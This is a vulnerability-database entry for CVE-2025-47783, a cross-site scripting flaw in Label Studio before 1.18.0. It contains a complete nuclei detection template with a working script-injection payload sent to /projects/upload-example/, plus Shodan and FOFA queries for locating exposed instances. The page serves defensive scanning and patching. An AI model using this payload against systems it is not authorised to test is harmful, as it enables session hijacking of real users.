HexBrain

Browse / CVEs / CVE-2025-47783

CVE-2025-47783· humansignal / label-studio· CWE-79

Label Studio < 1.18.0 - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

Label Studio < 1.18.0 contains a stored XSS caused by improper sanitization in POST /projects/upload-example/ endpoint, letting attackers inject malicious scripts to hijack sessions and perform unauthorized actions, exploit requires sending crafted requests.

Impact

Attackers can hijack user sessions, steal data, and perform unauthorized actions via injected scripts.

Fix

Upgrade to version 1.18.0 or later.

How to confirm it

Send: GET /version
Positive when: status_code == 200 and contains(body, "label-studio") and compare_versions(lsversion, "< 1.18.0")
Send: POST /projects/upload-example/
Positive when: contains "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-47783 -u <target>

The full check
id: CVE-2025-47783

info:
  name: Label Studio < 1.18.0 - Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    Label Studio < 1.18.0 contains a stored XSS caused by improper sanitization in POST /projects/upload-example/ endpoint, letting attackers inject malicious scripts to hijack sessions and perform unauthorized actions, exploit requires sending crafted requests.
  impact: |
    Attackers can hijack user sessions, steal data, and perform unauthorized actions via injected scripts.
  remediation: |
    Upgrade to version 1.18.0 or later.
  reference:
    - https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: humansignal
    product: label-studio
    shodan-query: title:"Label Studio"
    fofa-query: title="Label Studio"
  tags: label-studio,xss,reflected

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "label-studio")'
          - 'compare_versions(lsversion, "< 1.18.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        part: body
        regex:
          - '"release":\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        group: 1
        internal: true

  - raw:
      - |
        POST /projects/upload-example/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22%24textjmwwi%26lt%3bscript%26gt%3balert(document.domain)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from